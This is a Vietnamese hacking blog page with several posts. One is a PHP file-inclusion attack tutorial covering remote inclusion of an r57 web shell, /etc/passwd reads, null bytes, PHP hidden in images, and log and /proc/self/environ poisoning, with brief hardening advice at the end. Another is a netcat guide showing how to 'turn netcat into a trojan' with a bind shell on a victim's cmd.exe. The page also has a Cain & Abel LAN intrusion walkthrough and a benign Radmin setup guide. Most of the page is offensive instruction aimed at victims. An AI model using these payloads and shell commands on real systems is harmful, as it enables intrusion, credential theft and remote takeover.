Hình ảnh dưới đây minh họa việc đọc file boot.ini trên máy chủ windows thông qua biến script.
Hình 2. Include file từ server chủ

Các hàm có thể tận dung để khai thác include, require, require _ once, include _ once. Về cơ bản require và include giống nhau, chỉ có một điểm khác là nếu file không tồn tại thì có lỗi fatal-error và script dừng lại,không chạy tiếp.
Cách tìm lỗ hồng file includesion
Có 2 phương pháp để tìm ra lỗi này : kiểm thử hộp đen (Black- Box Testing) và kiểm thử hộp trắng (White-Box Testing).

Kiểm thử hộp trắng
Khi bạn có thể xem toàn bộ source code, áp dụng đối với phần mềm của bạn viết, phần mềm mã mở, phần mềm ai nhờ bạn test hộ,… Có thể có các chương trình để quét code hoặc bạn cũng có thể tự viết một đoạn mã làm việc này, thủ công nhất là tự dò bằng các trình soạn thảo thông dụng. Tìm các dòng có cú pháp tương tự như include($page) , điểm lưu ý là biến $page phải chưa được khởi tạo hoặc gán giá trị thì mới có lỗ hổng include file.
Một vài hình ảnh về shell c99, r57 (2 tool phổ biến nhất khi hack web với PHP):
Hình 3 . Hình ảnh hack tool shell c99
Hình 4. Hình ảnh hack tool shell r57
Ở 2 hình trên có thể thấy server chưa có bất kỳ một cấu hình bảo mật nào do đó qua web shell có thể truy nhập đến bất kỳ phần nào của hệ thống, thậm chí chạy được các lệnh hệ thống, hay mở các cổng để truy nhập từ xa vào hệ thống. Ví dụ mở cổng 2009 và telnet từ xa vào.
Hình 5. Công cụ bind port của r57
Hình 6. Kết nối vào sau khi bind port

Kiểm thử hộp đen
Kiểm thử hộp đen sử dụng khi bạn không có mã nguồn của mục tiêu, cũng hoàn toàn giống như khi attacker tấn công một hệ thống nào đó, chỉ có thể nhìn từ bên ngoài, đó cũng là lý do vì sao được gọi là hộp đen.
Phương pháp là thử các dữ liệu đầu vào, bất kỳ dữ liệu nào, khi ứng dụng bắn ra lỗi là bạn có thêm thông tin. Để có thể tìm ra lỗi thì có thể kiểm thử bằng công cụ quét, kiểm thử “bằng tay”. Theo kinh nghiệp của tôi, đối với lỗi này các chương trình quét tỏ ra rất kém hiệu quả, với người có kinh nghiệm thì lỗi này đôi khi chỉ cần lướt qua website một vài lần cũng có thể nhận thấy được.
Ví dụ bạn thấy có các link dạng: www.example.com/index.php?page=downloads.html như vậy sẽ rất có khả năng là biến page có lỗi inlcude file, bạn cần thử cụ thể hơn bằng cách đọc thử các file khác.
Hình 6. Đọc file /etc/passwd qua lỗi include
Ví dụ : www.example.com/index.php?page=otherfile.html ,... nếu nhận được lỗi
Warning:
include(otherfile.html) [function.include]: failed to open stream: No such file or directory in /home/site/public_html/ index.php on line x.
Thì có nghĩa là file đó không tồn tại.
Một trong các file có thể dùng để kiểm tra và có thêm thông tin là robots.txt.
Hình 7. Đọc file qua lỗi include


Tìm lỗi qua các máy tìm kiếm
  • Có thể trực tiếp tìm thông tin về lỗi của mục tiêu qua các trang tìm kiếm hay qua các trang thông báo lỗi như http://www.milw0rm.com nếu đã biết tên phần mềm trang web mục tiêu dùng.

Hình 8. Trang milw0rm.com


  • Dùng Google CodeSearch
Cú pháp : lang:php (include|require)(_once)?\s*['"(]?\s*\$_(GET|POST|COOKIE)

Hình 9. Tìm lỗi qua Google Code Search
Null-Byte
Trong một số trường hợp include được dùng như sau:
include($page.".html");
Khi đó chỉ các file .html mới được include, vậy làm sao để đọc được file khác?
Null-byte sẽ cho phép đọc file khác bằng cách thêm null byte vào cuối file cần đọc.
Đọc file /etc/passwd
index.php?page =/ etc/passwd
Khi đó include("/etc/passwd.html"); trở thành include("/etc/ passwd");
Tuy nhiên không phải lúc nào nul-bite cũng có tác dụng, tùy thuộc webserver, code,…


Khai thác lỗ hổng (Exploiting)
Khi phát hiện ra lỗi làm sao có thể khai thác được? Phần trên phần nào bạn cũng đã nhận thấy một số cách khai thác. Về cơ bản có hai kiểu khai thác là inclde file từ máy chủ khác (RFI – Remote file include), include file từ chính máy chủ lỗi (LFI – Local file include).
Remote file include (RFI)
Khi bị lỗi này tức là tham số register_globals=On, với lỗi này người không cần có nhiều kiến thức về lập trình cũng dễ dàng khai thác được thông tin. Kẻ tấn công chỉ cần đặt file web hack tool trên một máy chủ nào đó (thường là host miễn phí) và include qua lỗi.
http://lab.vnsecurity.vn/index.php?page=http://remote.vnsecurity.vn/r57.txt
File được include vào là file r57.txt từ host remote.vnsecurity.vn. Kết quả tham khảo hình 1.
Local file include (LFI)
Nếu tham số allow_url_fopen trong file php.ini đặt là Off thì sẽ không thể thực hiện include file từ máy chủ khác. Khi đó chỉ khai thác được dạng include trên cùng máy chủ, cũng tùy cấu hình server an toàn hay không mà attacker có thể đọc được file ngoài thư mục của website có lỗi. Khi đó để có thể khai thác tốt cần có một web shell trên máy chủ, làm sao để có được web shell? Có thể có nhiều cách nhưng đòi hỏi người khai thác phải có kinh nghiệm và hiểu biết về PHP, apache, Linux. (Trên Windows cũng tương tự nhưng có một số điểm khác, tôi không trình bày ở tài liệu này).
Một trong các điểm quan trọng trong khai thác LFI là đọc các file nhạy cảm của hệ thống, website. Một số file quan trong đối với hệ điều hành Linux /etc/passwd, /etc/group, httpd.conf,…
File /etc/passwd chứa thông tin về tài khoản của hệ điều hành. Attacker có thể lấy tên tài khoản và đùng hình thức dò quét mật khẩu, thường là Brute force (dân lập trình thường gọi là duyệt trâu big grin). Nếu mật khẩu không được shadowed, thì password được mã hóa sẽ nằm luôn trong file /etc/passwd, có được file này attacker có thể có được mật khẩu bằng cách crack (dùng John the Ripper chẳng hạn). Còn nếu không mật khẩu mã hóa nằm trong /etc/shadow (có thể ở thư mục khác đối với các bản Linux và Unix).
Ví dụ cú pháp trong shadow :
guru:$1$OiD7e.JO$AGoOmlOsUK1XBw2qJcx4z0:14286:0:99999:7:::
File httpd.conf là file cấu hình của webserver Apache, fiel này chứa rất nhiều thông tin về hệ thống. Thông tin quan trọng đối với việc khai thác là error_log, access_log, DocumentRoot,…
Một số file quan trọng của website như .htaccess , file cấu hình chứa mật khẩu của database (thường là config.inc, configuration.php,…)
LFI cũng được dùng kết hợp với lỗi upload để có được web shell. Nếu lỗi upload file có thể up được trực tiếp web shell lên và chạy được thì không cần dùng đến LFI. Nhưng nếu có lỗi upload, chỉ upload được các file ảnh,… thì có thể tận dụng LFI. Việc cần làm là định vị ví trí file ảnh nhiệm vụ này khó hay không tùy thuộc kinh nghiệm tường người big grin.
Trong việc upload ảnh lên cũng có rất nhiều kiểu tùy thuộc code của chương trình upload. Nếu chỉ lọc đuôi file thì đơn giản bạn chỉ cần đổi tên web shell từ .php sang đuôi của ảnh .jpg chẳng hạn. Nếu chương trình upload kiểm tra xem có đúng là ảnh không thì làm sao để chèn code PHP vào file ảnh ? Phần dưới tôi sẽ nói về chèn code vào file ảnh mà vẫn là file ảnh thực sự.

Hình 10. Include code PHP từ file ảnh
Ẩn code PHP và cách dấu shell
Có nhiều chỗ có thể ẩn code PHP như trong chính file PHP, file log, file ảnh hay bất kỳ file gì.
Chèn PHP vào ảnh
Như ở trên tôi đã nói chèn code PHP vào ảnh để làm gì ? Ở đây chèn code PHP vào file ảnh mà file ảnh đó vẫn là một file ảnh thực sự. Vậy chèn code PHP vào phần nào của ảnh ? Ta sẽ thêm code PHP vào phần comment của ảnh, tuy nhiêm phần này không chứa được nhiều code php, nếu shell quá lớn sẽ không được, do đó phần này thường chèn đoạn mã ngắn như shell command, upload form,…
Có 2 chương trình phổ biến để chèn code PHP vào ảnh là :
+ edjpgcom.exe dùng cho Windows
Download : http://guru.net.vn/content/binary/edjpgcom.zip

Hình 11. Giao diện edjpgcom


Hình 12. File ảnh sau khi đã thêm code PHP, không có gì thay đổi

Hình 13. Kết quả include file ảnh có chứa code upload
+ jhead cho Linux và Windows
Download : http://freshmeat.net/projects/jhead/

Hình 14. Hình ảnh jhead


Hình 15. Chạy hàm hệ thống qua code chèn trong ảnh
Code PHP trong logfil
Mỗi một website khi chạy, toàn bộ thông tin truy cập, lỗi,… sẽ được máy chủ lưu lại. Log truy cập thông thông thường được gọi là log truy cập của site. Ngoài ra có lỗi khác đối với webserver được lưu trong file access_log, error_log (tên file này là mặc định, có thể đổi tên khác trong httpd.conf).
Ví dụ minh họa dưới đây cho thấy việc chèn code /<?php echo phpinfo();?> vào file log.
Tạo 1 file fopen.php như sau:
<?php
$res = '';
$fp = fsockopen('127.0.0.1', 80);
if(!$fp){
echo "No connection";
}
fputs($fp, "GET /<?php echo phpinfo();?> HTTP/1.1\r\n");
fputs($fp, "Host: 127.0.0.1\r\n\r\n");
while(!feof($fp)){
$res .= fgets($fp, 128);
include($_GET['page'].".php");
}
echo $res;
?>


Hình 16. Tạo request lỗi

Hình 17. File log ghi nhận lỗi có chứa mã PHP



Hình 18. Include file log

Code PHP trong file text
Trong một vài trường hợp một số phần của website lưu dữ liệu ra file text ví dụ như maillist, blogroll,..
Thường thì phần này sẽ lưu thông tin người dùng thông thường có thể thêm vào. Khi đó có thể chèn code PHP vào các file này. Việc còn lại là định vị file này. Để làm được điều đó cần quan tâm đến một số file như .htacces, file config của site,…
Ví dụ đoạn code lỗi:
<?php
echo '<form method="POST">';
echo 'E-Mail Address';
echo '<input name="email">';
echo '<input type="submit" name="submit">';
echo '</form>';
if(isset($_POST['submit'])){
$data = $_POST['email'];
$fp = fopen("data.txt","a+");
$wr = fwrite($fp,$data);
fclose($fp);
}
?>
File dữ liệu là file data.txt, có thể tận dụng file này để khai thác.

Kết hợp file include và SQL Injection
Với một số phần mềm hiện nay, hay có thêm phần module phát hiện những tấn công thông dụng như SQL injection. Ví dụ với CMS PHP-Nuke có đoạn code như sau :
<?
$REQ = print_r($_REQUEST,true);
$ip = 'IP: '.$_SERVER['REMOTE_ADDR'];
$time = 'Date: '.date("d.m.y - H:i:s");
$ref = 'Referer: '.$_SERVER['HTTP_REFERER'];
$browser = 'Browser: '.$_SERVER['HTTP_USER_AGENT'];
if(eregi('UNION',$REQ) && eregi('SELECT',$REQ)){
$fp = fopen("attacks.txt","a+");
fwrite($fp,"$REQ\n $ip\n $time\n $browser\n $ref\n");
fclose($fp);
header('Location: http://www.google.com');
}
?>
Khi đó các request từ trình duyệt có từ UNION và SELECT thì sẽ ghi lại toàn bộ URL request,.. vào file attacks.txt.
Như vậy có thể chèn mã PHP vào file đó như sau:
http://www.example.com/index.php?id= UNION SELECT <?php echo phpinfo(); ?>

Code PHP trong /proc
/proc là một thư mục cho phép giao tiếp giữa nhân hệ điều hành (kernel) với với người dùng của hệ điều hành (user). Tất cả các file trong /proc không có trên đĩa cứng nó tồn tại trong RAM.
Trong phần này có thể lợi dụng để chèn code qua Referer, phần code này sẽ được lưu trong file nằm trong thư mục có tên trùng với process ID Apache đang chạy site đó. Tìm được file này cũng có thể include được.
Code minh họa:
<?php
$res = '';
$fp = fsockopen('www.lab.vnsecurity.com', 80);
if(!$fp){
echo "hi!.";
}
fputs($fp, "GET /index.php?page=/proc/self/environ HTTP/1.1\r\n");
fputs($fp, "Referer: <?php echo phpinfo(); ?>\r\n");
fputs($fp, "Host: www.lab.vnsecurity.com\r\n\r\n");
while(!feof($fp)){
$res .= fgets($fp, 128);
}
echo $res;
?>
Cách chống tấn công File Inclusion
Quan phần trên bạn đã có thể hình dung lỗi như thế nào, tấn công ra sao? Vậy làm gì để chống lại các tấn công inlude file?
Về cơ bản có 2 việc phải làm:
  • Server an toàn
  • Lập trình an toàn (cái này rất quan trọng vì code có thể triển khai ở nhiều server)
Server an toàn
Để có một server an toàn không hề đơn giản nó đòi hỏi bạn phải hiểu về các cái mình cài đặt và có kinh nghiệm về bảo mật cũng như quản trị. Phần này tôi chỉ nói các phần liên quan đến file include thôi.
  • Trong php.ini đặt các tham số allow_url_fopen=Off (allow_url_fopen=Off) , register_globals=Off, Safe_mode=On, display_error=Off
  • Đặt quyền cho các thư mục hợp lý
Lập trình an toàn
  • Bắt lỗi chặt chẽ
  • Bất cứ biến nào cũng cần khởi tạo
  • Sử dụng đường dẫn tuyệt đối
Một ví dụ code chặt chẽ:
<?php
$whitelist = array('index.html', 'downloads.html', 'info.html');
$page = $_GET['page'];
if(in_array($page,$whitelist)){
include($page);
}else{
die("Attack attempt");
}
?>
Cuối cùng, chúc bạn có hiểu biết về file include và có phát hiện và ngăn chặn các tấn công kiểu này.
Goodluck!
Tham khảo : hakin9, http://www.milw0rm.com/papers/232 , http://www.owasp.org

Hướng dẫn sử dụng Radmin Remote Administrator

Posted by Unknown Thứ Hai, tháng 2 01, 2010, under | No comments

I. Giới thiệu:
Remote Admin (RADMIN) là một chương trình giúp bạn có thể làm việc trên một máy tính khác thông qua máy tính của bạn. Bạn có thể xem màn hình desktop, điều khiển chuột, bàn phím như là bạn đang làm việc trên máy tính của bạn vậy.

II. Cấu trúc của Radmin
Hệ thống Radmin bao gồm 2 ứng dụng.
- Radmin Server, bản này được cài đặt trên máy tính ở xa hay remote computer
- Radmin Viewer, được cài đặt trên máy của bạn và nó sẽ giúp bạn hiển thị màn hình của máy remote trên màn hình máy bạn..

III. Thiết lập Ramin Server.
Sau khi cài đặt Radmin Server xong thì sẽ xuất hiện biểu tượng Ramin trên thanh taskbar. Để thiết lập cho Ramin, bạn click phải chuột và chọn “Setting For Radmin Server". Sẽ xuất hiện cửa sổ như hình sau:

Bạn chỉ cần chú ý đến 2 nút là Startup mode, Option, và Permissions thôi.
- Startup mode: Thiết lập chế độ khởi động cho Ramin Server là Automatic (Khởi động cũng windows) hay Manual (Khởi động khi bạn cần).
- Options: Mục Options cho phép chúng đã cài đặt các thiết lập cho Radmin như: Port điều khiển, các thiết lập hiển thị, dải IP cho phép…
+ Genaral: Tại đây bạn có thể thiết lập cổng để điều khiển (cổng để Radmin Client truy cập vào).
# Port: Mặc định thì Radmin sẽ sử dụng cổng 4899. Tuy nhiên bạn có thể đổi cộng tùy thích lấy trong dải từ 1 đến 65535 (Chú ý: Bạn phải để ý khi chọn cổng, tránh trùng với các cổng đã được sử dụng).
# Miscellaneous: Cho phép hạn chế bớt quyền truy cập của client. (Ví dụ như không cho sử dụng telnet, không cho tải file trên server về…)
# IP Filter: Theo mình, nếu bạn dùng Radmin trong mạng LAN thì hãy quan tâm đến cái này. Còn nếu dùng qua Internet thì hãy bỏ qua nó.
- Permissions: Cho phép bạn thiết lập bảo mật khi remote. Tại đây có 2 tùy chọn là sử dụng luôn account của Windows hoặc tạo account riêng của Radmin. Việc phân quyền sẽ giúp cho bạn thiết lập cho User nào có thể remote đến server. Khi remote đến Server, bạn sẽ được hỏi User name và password để truy cập.
Khi sử dụng chế độ Radmin Security thì Radmin sẽ cho phép bạn tạo các User và phân quyền cho mỗi User bằng cách sử dụng Add User.
V. Sử dụng Radmin Viewer
Để kết nối đến Server, bạn Click vào Connect to… (dấu cộng màu xanh ) sẽ xuất hiện cửa sổ như sau:
+ Name of entry: Tên mô tả, bạn có thể đặt tên tùy thích
+ IP address or DNS name: Nhập địa chỉ IP hoặc DNS của máy cần remote (Radmin Server).
+ Port: Nếu trên Server bạn đặt ở port nào thì client bạn sẽ phải đặt ở port đó thì bạn mới có thể truy cập được
+ Connect throught host: Phần này giúp bạn có thể truy cập nhiều máy qua Internet thông qua một port. Điều này có nghĩa là bạn chỉ cần mở một port nào đó trên modem và trỏ đến một máy duy nhất, sau đó bạn connect vào các máy khác thông qua máy đó. Máy đó sẽ đóng vai trò như một bridge.
VI. Mở port trên modem:
Phần này chỉ cần đến khi bạn muốn remote máy server thông qua mạng Internet. Trên trang config của modem, bạn chọn phần Port Forwarding hoặc phần NAT.
Tại đây:
+ Source IP address: đây là địa chỉ RADMIN server mà bạn muốn modem trỏ đến
+ Destination IP address: Nếu bạn muốn modem trỏ đến một dải các IP thì bạn gõ vào dải đích. Còn nếu chỉ muốn trỏ đến RADMIN server thì bạn nhập Source IP và Destination IP giống nhau.
+ Phần port thì bạn dùng cổng mặc định là 4899 hoặc tùy thích hoặc một dải port.

Sử Dụng NETCAT

Posted by Unknown Thứ Hai, tháng 2 01, 2010, under | No comments

I.Giới thiệu :
Netcat là một công cu không thể thiếu nếu bạn muốn hack một website nào đó.vì vậy bạn cần phải biết về Netcat.

II.Biên dịch NetCat:
Đối với NetCat cho Linux, bạn phải biên dịch trước khi sử dụng.
-Hiệu chinh file netcat.c bằng vi: vi netcat.c
•Tìm dòng res_init(); trong main() và them vào trước 2 dấu “/”: // res_init();
•Them 2 dòng sau vào phần #define (nằm ở đầu file):
#define GAPING_SECURITY_HOLE
#define TELNET
-Biên dịch : make linux
-Chạy thử : ./nc –h
-Nếu bạn muốn chạy NetCat bằng nc thay cho ./nc , bạn chỉ cần hiệu chỉnh lại biến môi trường. PATH trong file ~/.bashrc, them vào “:.”
PATH=/sbin:/usr/sbin:...:.

Bản NetCat dành cho Window không cần phải compile vì đả có sẵn file nhị phân nc.exe, chỉ giải nén rồi chạy là xong.

III.Các tùy chọn của NetCat:

Netcat chạy ở chế độ dòng lệnh , bạn phải chạy nc –h để biết tham số:
C:>nc –h
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
Options:
-d detach from console, stealth mode
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]

Cú pháp :
- Chế dộ kết nối : nc [-tùy_chon] tên_máy cong[-cong2]
- Chế dộ lắng nghe: nc -1 -p cổng [-tùy_chon] [tên_máy] [cổng]

VI.Các ví dụ :
a-Chộp banner của web server.
Ví dụ : nc đến 172.16.84.2, cổng 80
C:>nc 172.16.48.2 80
HEAD / HTTP/1.0 (tại đây bạn gõ enter 2 lần)
HTTP/1.1 200 OK
Date: Sat, 05 Feb 2000 20:51:37 GMT
Server: Apache-AdvancedExtranetServer/1.3.19 (Linux-Mandrake/3mdk) mod_ssl/2.8.2
OpenSSL/0.9.6 PHP/4.0.4pl1
Connection: close
Content-Type: text/html

Để biết thông tin chi tiết về kết nối , bạn có thể dùng –v (-vv sẽ cho biết các thông tin chi tiết hơn).
C:>nc -vv 172.16.84.1 80
172.16.84.1: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [172.16.84.1] 80 (?) open
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Date: Fri, 04 Feb 2000 14:46:43 GMT
Server: Apache/1.3.20 (Win32)
Last-Modified: Thu, 03 Feb 2000 20:54:02 GMT
ETag: "0-cec-3899eaea"
Accept-Ranges: bytes
Content-Length: 3308
Connection: close
Content-Type: text/html
sent 17, rcvd 245: NOTSOCK

Nếu muốn ghi nhật ký, hãy dùng –o. ví dụ:
nc -vv -o nhat_ki.log 172.16.84.2 80
xem file nhat_ki.log
< 00000000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d # HTTP/1.1 200 OK.
< 00000010 0a 44 61 74 65 3a 20 46 72 69 2c 20 30 34 20 46 # .Date: Fri, 04 F
< 00000020 65 62 20 32 30 30 30 20 31 34 3a 35 30 3a 35 34 # eb 2000 14:50:54
< 00000030 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 # GMT..Server: Ap
< 00000040 61 63 68 65 2f 31 2e 33 2e 32 30 20 28 57 69 6e # ache/1.3.20 (Win
< 00000050 33 32 29 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 # 32)..Last-Modifi
< 00000060 65 64 3a 20 54 68 75 2c 20 30 33 20 46 65 62 20 # ed: Thu, 03 Feb
< 00000070 32 30 30 30 20 32 30 3a 35 34 3a 30 32 20 47 4d # 2000 20:54:02 GM
< 00000080 54 0d 0a 45 54 61 67 3a 20 22 30 2d 63 65 63 2d # T..ETag: "0-cec-
< 00000090 33 38 39 39 65 61 65 61 22 0d 0a 41 63 63 65 70 # 3899eaea"..Accep
< 000000a0 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d # t-Ranges: bytes.
< 000000b0 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a # .Content-Length:
< 000000c0 20 33 33 30 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f # 3308..Connectio
< 000000d0 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e # n: close..Conten
< 000000e0 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d # t-Type: text/htm
< 000000f0 6c 0d 0a 0d 0a # l....
dấu < nghĩa là server gởi đến netcat.
Dấu > nghĩa là netcat gởi đến server.

b-Quét cổng:
Chạy netcat với tùy chọn là –z.Để quét cổng nhanh hơn hãy dùng –n vì netcat sẽ không cần thẩm vấn DNS.
Ví dụ bạn có thể scan các cổng TCP(1->500) của host 172.16.106.1 [dt@vicki /]# nc -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 443 (?) open
(UNKNOWN) [172.16.106.1] 139 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open
(UNKNOWN) [172.16.106.1] 80 (?) open
Nếu bạn scan cổng UDP , dùng
–u [dt@vicki /]# nc -u -nvv -z 172.16.106.1 1-500
Khi đó
(UNKNOWN) [172.16.106.1] 1024 (?) open
(UNKNOWN) [172.16.106.1] 138 (?) open
(UNKNOWN) [172.16.106.1] 137 (?) open
(UNKNOWN) [172.16.106.1] 123 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open

c-Biến NetCat thành một Trojan:
Trên máy tính nạn nhân, bạn khởi động netcat vào chế độ lắng nghe, dùng tùy chọn –l(listen) và –p port để xát định số hiệu cổng lắng nghe, -e để yêu cầu netcat thi hành 1 chương trình khi có một kết nối đến, thường là shell lệnh cmd.exe hoặc /bin/sh (Unix).
Ví dụ :
E:>nc -nvv -l -p 8080 -e cmd.exe
listening on [any] 8080 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3159
sent 0, rcvd 0: unknown socket error

trên máy tính dùng để tấn công , chỉ cần dùng netcat nối đến máy nạn nhân trên cổng đã định, chẳng hạn như 8080
C:>nc -nvv 172.16.84.2 8080
(UNKNOWN) [172.16.84.2] 8080 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
© Copyright 1985-1999 Microsoft Corp.
E:>cd test
cd test
E:test>dir /w
dir /w
Volume in drive E has no label.
Volume Serial Number is B465-452F
Directory of E:test
[.] [..] head.log NETUSERS.EXE NetView.exe ntcrash.zip password.txt pwdump.exe
6 File(s) 262,499 bytes
2 Dir(s) 191,488,000 bytes free
C:test>exit
exit
sent 20, rcvd 450: NOTSOCK

Như bạn thấy , chúng ta có thể làm bất cứ điều gì đối với máy tính nạn nhận qua lệnh shell, tuy nhien sau kết nối máy tính nạn nhân cũng đóng luôn. Để yêu cầu netcat lắng nghe trở lại sau mõi kết nối, bạn dùng –L thay cho –l .một điều lưu ý –L chỉ có thể áp dụng cho bản Netcat của Window, không áp dụng cho Linux.

E:>nc -nvv -L -p 8080 -e cmd.exe
listening on [any] 8080 ...

Riêng đối với NetCat cho Win, bạn có thể lắng nghe ngay trên cổng đang lắng nghe, chỉ cần định nghĩa địa chỉ nguồn là
–s<diachi_ip_cua_may_nay>.ví dụ :
Netstat –a ...
TCP nan_nhan:domain nan_nhan:0 listENING <- cổng 53 dang lắng nghe ...
E:>nc -nvv -L -e cmd.exe -s 172.16.84.1 -p 53 > lắng nghe ngay trên cổng 53
listening on [172.16.84.1] 53 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3163

Trên Window NT , để đặt NetCat ở chế độ lắng nghe, không cần phải có quyền Administrator, chỉ cần loign vào bằng một user bình thường rồi khởi động NetCat là xong.

Chú ý : bạn không thể chạy netcat với … -u –e cmd.exe… hoặc … -u –e /bin/sh…vì netcat sẽ không làm việc đúng, nếu bạn muốn có 1 UDP shell tren Unix , hãy dùng udpshell thay cho netcat.

III.Kĩ thuật tiên tiến :(sẽ trình bày trong lần sau) 
a-telnet nghich chuyển : dùng telnet để nối cửa sổ netcat đang lắng nghe , kế đó đưa lệnh từ cửa sổ này vào luồng telnet nghịch chuyển, và gởi kết quả vào cửa sổ bên kia.

b-Tạo kênh sao:

c-Đổi hướng cổng:

Hack Mạng LAN Dùng Cain&Abel

Posted by Unknown Thứ Hai, tháng 2 01, 2010, under | No comments

Chắc hẳn trong chúng ra ai cũng biết công cụ Cain and Abel download tại http://www.oxid.it
Bước 1, tìm được mục tiêu:
đầu tiên chúng ta cần kiếm một máy tính để hack vào. Vì vậy nếu bạn cắm vào mạng LAN, hoặc kết nối vào WAN, bạn có thể bắt đầu. Mở ra Cain và Abel. Chương trình này có một tính năng được xây dựng trong sniffer. Một sniffer vẻ cho tất cả các địa chỉ IP của địa phương trong subnet. Một khi bạn đã mở cửa trong chương trình sniffer nhấp vào thẻ tab, bấm vào Bắt đầu / Dừng sniffer.
Một cửa sổ khác sẽ bật lên ,make sure “All host in my subnet” is selected,các bạn nhấp "ok" , nó sẽ bắt đầu scan 
Sau đó, IP của máy tính tên, địa chỉ và mac sẽ hiển thị. Bây giờ nhớ địa chỉ IP của máy tính bạn đang muốn "xâm nhập" 
Bây giờ ,các bạn vào run ,gõ "cmd"gõ địa chỉ ip mà bạn muốn xâm nhập,vd:ping 192.168.1.103
nếu máy không "online" thì sẽ xuất hiện
Bây giờ các bạn nbtstat –a "địa chỉ ip máy tính đang online"
 
Sau đó các bạn gõ net view \\192.168.1.103  
Sau đó sử dụng lệnh net use G: \\192.168.1.103\C  cuối cùng ổ G đã được share qua máy bạn
Lưu ý: Chỉnh registry cho máy victim  trước khi làm bài này: HKEY_LOCAL_MACHINE \SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnable Router =1 
Video hướng dẫn:
http://nhatnghe.com/tailieu/cain/SNIFFERPASSWORD.EXE 


Xem Nhiều

Bài đăng phổ biến

Lưu trữ blog

Blog Archive